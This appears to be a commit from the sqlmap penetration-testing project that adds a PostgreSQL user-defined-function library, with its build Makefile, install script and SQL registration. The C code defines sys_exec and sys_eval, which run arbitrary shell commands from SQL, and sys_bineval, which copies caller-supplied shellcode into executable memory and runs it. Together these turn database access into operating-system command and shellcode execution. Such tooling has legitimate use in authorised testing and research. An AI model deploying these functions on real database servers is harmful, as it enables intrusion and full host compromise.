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https://github.com/sqlmapproject/sqlmap.git
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Merged UDF Linux and Windows development environments
This commit is contained in:
Bernardo Damele
16
extra/udfhack/linux/lib_postgresqludf_sys/Makefile
Normal file
16
extra/udfhack/linux/lib_postgresqludf_sys/Makefile
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@@ -0,0 +1,16 @@
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LIBDIR=/tmp
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8.4:
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gcc -Wall -I/usr/include/postgresql/8.4/server -O1 -shared lib_postgresqludf_sys.c -o lib_postgresqludf_sys.so
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strip -sx lib_postgresqludf_sys.so
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cp -f lib_postgresqludf_sys.so $(LIBDIR)/lib_postgresqludf_sys.so
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8.3:
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gcc -Wall -I/usr/include/postgresql/8.3/server -O1 -shared lib_postgresqludf_sys.c -o lib_postgresqludf_sys.so
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strip -sx lib_postgresqludf_sys.so
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cp -f lib_postgresqludf_sys.so $(LIBDIR)/lib_postgresqludf_sys.so
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8.2:
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gcc -Wall -I/usr/include/postgresql/8.2/server -O1 -shared lib_postgresqludf_sys.c -o lib_postgresqludf_sys.so
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strip -sx lib_postgresqludf_sys.so
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cp -f lib_postgresqludf_sys.so $(LIBDIR)/lib_postgresqludf_sys.so
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59
extra/udfhack/linux/lib_postgresqludf_sys/install.sh
Executable file
59
extra/udfhack/linux/lib_postgresqludf_sys/install.sh
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#!/bin/bash
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# lib_postgresqludf_sys - a library with miscellaneous (operating) system level functions
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# Copyright (C) 2009 Bernardo Damele A. G.
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# web: http://bernardodamele.blogspot.com/
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# email: bernardo.damele@gmail.com
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#
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# This library is free software; you can redistribute it and/or
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# modify it under the terms of the GNU Lesser General Public
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# License as published by the Free Software Foundation; either
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# version 2.1 of the License, or (at your option) any later version.
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#
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# This library is distributed in the hope that it will be useful,
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# but WITHOUT ANY WARRANTY; without even the implied warranty of
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# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
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# Lesser General Public License for more details.
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#
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# You should have received a copy of the GNU Lesser General Public
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# License along with this library; if not, write to the Free Software
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# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
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# Adapt the following settings to your environment
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USER="postgres"
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PORT="5434"
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VERSION="8.4"
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#PORT="5433"
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#VERSION="8.3"
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#PORT="5432"
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#VERSION="8.2"
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echo "Compiling the PostgreSQL UDF"
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make ${VERSION}
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if test $? -ne 0; then
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echo "ERROR: You need postgresql-server development software installed"
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echo "to be able to compile this UDF, on Debian/Ubuntu just run:"
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if test "${VERSION}" == "8.2"; then
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echo "apt-get install postgresql-server-dev-8.2"
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else if test "${VERSION}" == "8.3"; then
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echo "apt-get install postgresql-server-dev-8.3"
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else if test "${VERSION}" == "8.4"; then
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echo "apt-get install postgresql-server-dev-8.4"
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fi
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exit 1
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else
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echo "PostgreSQL UDF compiled successfully"
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fi
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echo -e "\nPlease provide your PostgreSQL 'postgres' user's password"
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psql -h 127.0.0.1 -p ${PORT} -U ${USER} -q template1 < lib_postgresqludf_sys.sql
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if test $? -ne 0; then
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echo "ERROR: unable to install the UDF"
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exit 1
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else
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echo "PostgreSQL UDF installed successfully"
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fi
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207
extra/udfhack/linux/lib_postgresqludf_sys/lib_postgresqludf_sys.c
Executable file
207
extra/udfhack/linux/lib_postgresqludf_sys/lib_postgresqludf_sys.c
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/*
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lib_postgresqludf_sys - a library with miscellaneous (operating) system level functions
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Copyright (C) 2009 Bernardo Damele A. G.
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web: http://bernardodamele.blogspot.com/
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email: bernardo.damele@gmail.com
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This library is free software; you can redistribute it and/or
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modify it under the terms of the GNU Lesser General Public
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License as published by the Free Software Foundation; either
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version 2.1 of the License, or (at your option) any later version.
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This library is distributed in the hope that it will be useful,
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but WITHOUT ANY WARRANTY; without even the implied warranty of
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MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
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Lesser General Public License for more details.
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You should have received a copy of the GNU Lesser General Public
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License along with this library; if not, write to the Free Software
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Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
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*/
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#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
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#define _USE_32BIT_TIME_T
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#define DLLEXP __declspec(dllexport)
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#define BUILDING_DLL 1
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#else
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#define DLLEXP
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#include <sys/mman.h>
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#include <sys/types.h>
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#include <sys/wait.h>
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#include <unistd.h>
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#endif
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#include <postgres.h>
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#include <fmgr.h>
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#include <stdlib.h>
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#include <string.h>
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#include <ctype.h>
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#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
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DWORD WINAPI exec_payload(LPVOID lpParameter);
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#endif
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#ifdef PG_MODULE_MAGIC
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PG_MODULE_MAGIC;
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#endif
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PG_FUNCTION_INFO_V1(sys_exec);
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#ifdef PGDLLIMPORT
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extern PGDLLIMPORT Datum sys_exec(PG_FUNCTION_ARGS) {
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#else
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extern DLLIMPORT Datum sys_exec(PG_FUNCTION_ARGS) {
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#endif
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text *argv0 = PG_GETARG_TEXT_P(0);
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int32 argv0_size;
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int32 result = 0;
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char *command;
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argv0_size = VARSIZE(argv0) - VARHDRSZ;
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command = (char *)malloc(argv0_size + 1);
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memcpy(command, VARDATA(argv0), argv0_size);
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command[argv0_size] = '\0';
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/*
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Only if you want to log
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elog(NOTICE, "Command execution: %s", command);
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*/
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result = system(command);
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free(command);
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PG_FREE_IF_COPY(argv0, 0);
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PG_RETURN_INT32(result);
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}
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PG_FUNCTION_INFO_V1(sys_eval);
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#ifdef PGDLLIMPORT
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extern PGDLLIMPORT Datum sys_eval(PG_FUNCTION_ARGS) {
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#else
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extern DLLIMPORT Datum sys_eval(PG_FUNCTION_ARGS) {
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#endif
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text *argv0 = PG_GETARG_TEXT_P(0);
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text *result_text;
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int32 argv0_size;
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char *command;
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char *result;
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FILE *pipe;
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char line[1024];
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int32 outlen, linelen;
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argv0_size = VARSIZE(argv0) - VARHDRSZ;
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command = (char *)malloc(argv0_size + 1);
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memcpy(command, VARDATA(argv0), argv0_size);
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command[argv0_size] = '\0';
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/*
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Only if you want to log
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elog(NOTICE, "Command evaluated: %s", command);
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*/
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result = (char *)malloc(1);
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outlen = 0;
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pipe = popen(command, "r");
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while (fgets(line, sizeof(line), pipe) != NULL) {
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linelen = strlen(line);
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result = (char *)realloc(result, outlen + linelen);
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strncpy(result + outlen, line, linelen);
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outlen = outlen + linelen;
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}
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pclose(pipe);
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if (*result) {
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result[outlen-1] = 0x00;
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}
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result_text = (text *)malloc(VARHDRSZ + strlen(result));
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#ifdef SET_VARSIZE
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SET_VARSIZE(result_text, VARHDRSZ + strlen(result));
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#else
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VARATT_SIZEP(result_text) = strlen(result) + VARHDRSZ;
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#endif
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memcpy(VARDATA(result_text), result, strlen(result));
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PG_RETURN_POINTER(result_text);
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}
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PG_FUNCTION_INFO_V1(sys_bineval);
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#ifdef PGDLLIMPORT
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extern PGDLLIMPORT Datum sys_bineval(PG_FUNCTION_ARGS) {
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#else
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extern DLLIMPORT Datum sys_bineval(PG_FUNCTION_ARGS) {
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#endif
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text *argv0 = PG_GETARG_TEXT_P(0);
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int32 argv0_size;
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size_t len;
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#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
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int pID;
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char *code;
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#else
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int *addr;
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size_t page_size;
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pid_t pID;
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#endif
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argv0_size = VARSIZE(argv0) - VARHDRSZ;
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len = (size_t)argv0_size;
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#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
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// allocate a +rwx memory page
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code = (char *) VirtualAlloc(NULL, len+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
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strncpy(code, VARDATA(argv0), len);
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WaitForSingleObject(CreateThread(NULL, 0, exec_payload, code, 0, &pID), INFINITE);
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#else
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pID = fork();
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if(pID<0)
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PG_RETURN_INT32(1);
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if(pID==0)
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{
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page_size = (size_t)sysconf(_SC_PAGESIZE)-1; // get page size
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page_size = (len+page_size) & ~(page_size); // align to page boundary
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// mmap an rwx memory page
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addr = mmap(0, page_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS, 0, 0);
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if (addr == MAP_FAILED)
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PG_RETURN_INT32(1);
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strncpy((char *)addr, VARDATA(argv0), len);
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((void (*)(void))addr)();
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}
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if(pID>0)
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waitpid(pID, 0, WNOHANG);
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#endif
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PG_RETURN_INT32(0);
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}
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#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
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DWORD WINAPI exec_payload(LPVOID lpParameter)
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{
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__try
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{
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__asm
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{
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mov eax, [lpParameter]
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call eax
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}
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}
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__except(EXCEPTION_EXECUTE_HANDLER)
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{
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}
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return 0;
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}
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#endif
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@@ -0,0 +1,24 @@
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/*
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lib_postgresqludf_sys - a library with miscellaneous (operating) system level functions
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Copyright (C) 2009 Bernardo Damele A. G.
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web: http://bernardodamele.blogspot.com/
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email: bernardo.damele@gmail.com
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This library is free software; you can redistribute it and/or
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modify it under the terms of the GNU Lesser General Public
|
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License as published by the Free Software Foundation; either
|
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version 2.1 of the License, or (at your option) any later version.
|
||||
|
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This library is distributed in the hope that it will be useful,
|
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but WITHOUT ANY WARRANTY; without even the implied warranty of
|
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MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
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Lesser General Public License for more details.
|
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|
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You should have received a copy of the GNU Lesser General Public
|
||||
License along with this library; if not, write to the Free Software
|
||||
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
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*/
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CREATE OR REPLACE FUNCTION sys_exec(text) RETURNS int4 AS '/tmp/lib_postgresqludf_sys.so', 'sys_exec' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
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CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/tmp/lib_postgresqludf_sys.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
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CREATE OR REPLACE FUNCTION sys_bineval(text) RETURNS int4 AS '/tmp/lib_postgresqludf_sys.so', 'sys_bineval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
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